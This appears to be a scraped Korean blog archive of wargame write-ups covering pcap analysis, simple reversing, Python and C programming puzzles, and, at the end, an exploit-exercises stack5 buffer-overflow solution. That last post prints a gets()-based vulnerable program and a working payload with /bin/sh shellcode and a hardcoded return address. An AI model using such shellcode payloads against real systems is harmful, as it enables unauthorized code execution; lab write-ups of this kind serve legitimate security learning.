Find EXE File / EXE 파일을 찾으세요

findexe.pcap

사용자가 웹 서핑을 하던 중 EXE 실행파일을 
내려받는 것을 스니핑 했습니다. 

패킷덤프파일을 다운받아 분석하여 
사용자가 다운받은 실행파일을 찾아보세요.


HTTP Object Export 기능을 이용하여 패킷 내 모든 Object를 추출한다.



뽑아낸 Object 내 에서 Findexe.exe 파일을 찾을 수 있다.




해당 파일을 실행하면 실행이 바로 종료되어 플래그를 알 수 없다.


따라서 Ollydbg를 이용하여 동적으로 코드를 실행시켜 플래그를 출력하였다.




'Wargame > sjkim.net' 카테고리의 다른 글

Reversing - Difficult Mine  (0) 2017.04.21
Programming - Lotto Number  (0) 2017.04.20
Packet Analyze - hacker msg??  (0) 2017.04.20
Reversing - Fine KEY1  (0) 2017.04.20
Programming - Average  (0) 2017.04.20

Hacker msg?? / 해커가 남긴 메시지

hacker_message.pcap

해커가 Telnet 을 이용하여 ubuntu 데스크탑에 접근 한 후 
메시지를 남겼습니다. 

패킷내용을 분석하여 어떤 내용을 남겨뒀는지 찾아보세요.


 Wireshark 를 이용하여 telnet을 기준으로 패킷을 필터링한다.


이후 Follow TCP STREAM 기능을 이용하여 송 수신된 데이터를 확인한다.


 




'Wargame > sjkim.net' 카테고리의 다른 글

Programming - Lotto Number  (0) 2017.04.20
Packet Analyze - Find EXE File  (0) 2017.04.20
Reversing - Fine KEY1  (0) 2017.04.20
Programming - Average  (0) 2017.04.20
Programming - Fibonacci +  (0) 2017.04.20

Find KEY1 / KEY를 찾아내세요

reversing_findkey1.exe

첨부한 실행파일을 내려받아 키를 찾아내고
플래그를 등록하세요


IDA를 이용하여 해당 파일을 열어보았다.




v4 값과 87을 XOR 연산하여 1320553664 라는 값이 나오면 flag를 출력한다.


그렇다면 1320553664와 87을 xor 하면  플래그가 나올 것이다.


1320553664 ^ 87 = 1320553623


flag : 1320553623



'Wargame > sjkim.net' 카테고리의 다른 글

Packet Analyze - Find EXE File  (0) 2017.04.20
Packet Analyze - hacker msg??  (0) 2017.04.20
Programming - Average  (0) 2017.04.20
Programming - Fibonacci +  (0) 2017.04.20
Programming - Text Numbers  (0) 2017.04.20

Average / 평균계산기의 오류

average.exe

첨부된 실행파일은 사용자가 입력한 정수만큼 "평균"을 계산하여 출력해주는 
프로그램 입니다. 

이 프로그램은 프로그래머가 자주 실수하는 심각한 문제가 있는데,
이 문제점을 찾아 평균점수가 0점이 출력될 수 있도록 값을 입력하세요.

평균 0점이 되면 플래그가 출력됩니다.


풀이


IDA로 해당 파일을 열어 확인한다.





scanf 함수로 입력받을 정수의 갯수를 입력받는데 입력받을 정수의 범위를 지정하고 있지 않다.


따라서 -1 을 집어넣게 되면 평균값이 0이 출력되므로 플래그가 나오게 된다.





'Wargame > sjkim.net' 카테고리의 다른 글

Packet Analyze - hacker msg??  (0) 2017.04.20
Reversing - Fine KEY1  (0) 2017.04.20
Programming - Fibonacci +  (0) 2017.04.20
Programming - Text Numbers  (0) 2017.04.20
Programming - Count of 5  (0) 2017.04.20

Fibonacci + / 피보나치 수열 +

아래의 수열은 처음 두 항을 1과 1로 한 후 , 
그 다음 항 부터는 바로 앞의 두개의 항을 더해 만드는 피보나치 수열 입니다. 
이 수열에 속하는 수를 피보나치 수 라고 이야기 하며, 
아래와 같이 
1번째 피보나치 수 : 1 
2번째 피보나치 수 : 1 
3번째 피보나치 수 : 2 
4번째 피보나치 수 : 3 
5번째 피보나치 수 : 5 라고 할때 ,
피보나치 수 1 부터 75 까지(75포함)의 수 중 3의 배수이거나 5의 배수인 수를 골라
그중 "짝수" 의 합만 구한 값은 ? 

       피보나치 수열 : 1, 1, 2, 3, 5, 8, 13, 21, 34, 55 . . . . . . .


소스 코드

def fibonacci(n):
b = True
f1 = 1
f2 = 1
while n > 2:
if b :
f1 = f1 + f2
else :
f2 = f1 + f2
b = not b
n -= 1
if b:
return f2
else :
return f1
if __name__ == '__main__':
hab = 0
for i in range(1,76):
if fibonacci(i)%3 == 0 or fibonacci(i)%5 == 0:
if fibonacci(i)%2 == 0:
hab += fibonacci(i)
print hab


'Wargame > sjkim.net' 카테고리의 다른 글

Reversing - Fine KEY1  (0) 2017.04.20
Programming - Average  (0) 2017.04.20
Programming - Text Numbers  (0) 2017.04.20
Programming - Count of 5  (0) 2017.04.20
Programming - Fibonacci  (0) 2017.04.20

Text Numbers / 모든 수의 합

txt_sum.txt

첨부한 텍스트 파일 내용중 '숫자'만 추출하여 그 수들의 
모든 합을 구하세요.


소스 코드

import re
sum = 0
f = open('C:\\Users\\shild\\Desktop\\txt_sum.txt','r')
data = f.readline()
number = (re.sub('[^0-9]','',data))
for i in range(0,len(number)):
sum += int(number[i])
print sum


'Wargame > sjkim.net' 카테고리의 다른 글

Programming - Average  (0) 2017.04.20
Programming - Fibonacci +  (0) 2017.04.20
Programming - Count of 5  (0) 2017.04.20
Programming - Fibonacci  (0) 2017.04.20
Programming - Sum of the even  (0) 2017.04.20

Count of 5 / 숫자 5의 갯수

0부터 5,555,555 ( 555만 5555 ) 를 포함하는 모든 수 들을 살펴보면
숫자'5'는 몇번나타날까요?


소스코드

counter = 0
for i in range(0,5555556):
string = str(i)
count = string.count('5')
counter += count
print counter


'Wargame > sjkim.net' 카테고리의 다른 글

Programming - Average  (0) 2017.04.20
Programming - Fibonacci +  (0) 2017.04.20
Programming - Text Numbers  (0) 2017.04.20
Programming - Fibonacci  (0) 2017.04.20
Programming - Sum of the even  (0) 2017.04.20

Fibonacci / 피보나치 수열

아래의 수열은 처음 두 항을 1과 1로 한 후 , 
그 다음 항 부터는 바로 앞의 두개의 항을 더해 만드는 피보나치 수열 입니다.
이 수열에 속하는 수를 피보나치 수 라고 이야기 하며, 
아래와 같이 
1번째 보나치 수 : 1 
2번째 피보나치 수 : 1 
3번째 피보나치 수 : 2 
4번째 피보나치 수 : 3 
5번째 피보나치 수 : 5 라고 할때 , 

101 번째 피보나치 수는 어떤 값이 있나요 

피보나치 수열 : 1, 1, 2, 3, 5, 8, 13, 21, 34, 55 . . . . . . .


소스코드


def fibonacci(n):
b = True
f1 = 1
f2 = 1
while n > 2:
if b :
f1 = f1 + f2
else :
f2 = f1 + f2
b = not b
n -= 1
if b:
return f2
else :
return f1
print fibonacci(101)


'Wargame > sjkim.net' 카테고리의 다른 글

Programming - Average  (0) 2017.04.20
Programming - Fibonacci +  (0) 2017.04.20
Programming - Text Numbers  (0) 2017.04.20
Programming - Count of 5  (0) 2017.04.20
Programming - Sum of the even  (0) 2017.04.20

매우 간단한 문제 입니다. 1 부터 5000을 포함하는 사이 수 중 
짝수의 총 합계를 구하여 플래그로 등록하세요.


소스코드


#include <stdio.h>
int main()
{
int i,sum=0;
for (i=1;i<=5000;i++){
if(i%2==0)
sum = sum+i;
}
printf("%d\n",sum);
return 0;
}


'Wargame > sjkim.net' 카테고리의 다른 글

Programming - Average  (0) 2017.04.20
Programming - Fibonacci +  (0) 2017.04.20
Programming - Text Numbers  (0) 2017.04.20
Programming - Count of 5  (0) 2017.04.20
Programming - Fibonacci  (0) 2017.04.20
  1. #include <stdlib.h>  
  2. #include <unistd.h>  
  3. #include <stdio.h>  
  4. #include <string.h>  
  5.   
  6. int main(int argc, char **argv)  
  7. {  
  8.   char buffer[64];  
  9.   
  10.   gets(buffer);  
  11. }  



쉘따라는 소리인것 같다.


보다 쉽게 풀기위해 쉘코드를 사용할 것이고 컴파일 옵션으로 -zexecstack을 줄 것이다.


80byte에서 eip가 완전히 덮히니 76byte를 덮은 후에 eip주소가 온다.



payload


$(python -c 'print "\x90"*30 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90"*33 + "\x6c\xd6\xff\xff"';cat) | ./stack5


'pwnable > exploit-exercise' 카테고리의 다른 글

stack4  (0) 2017.02.24
stack3  (0) 2017.02.24
stack2  (0) 2016.07.11
stack1  (0) 2016.07.09
stack0  (0) 2016.07.09

+ Recent posts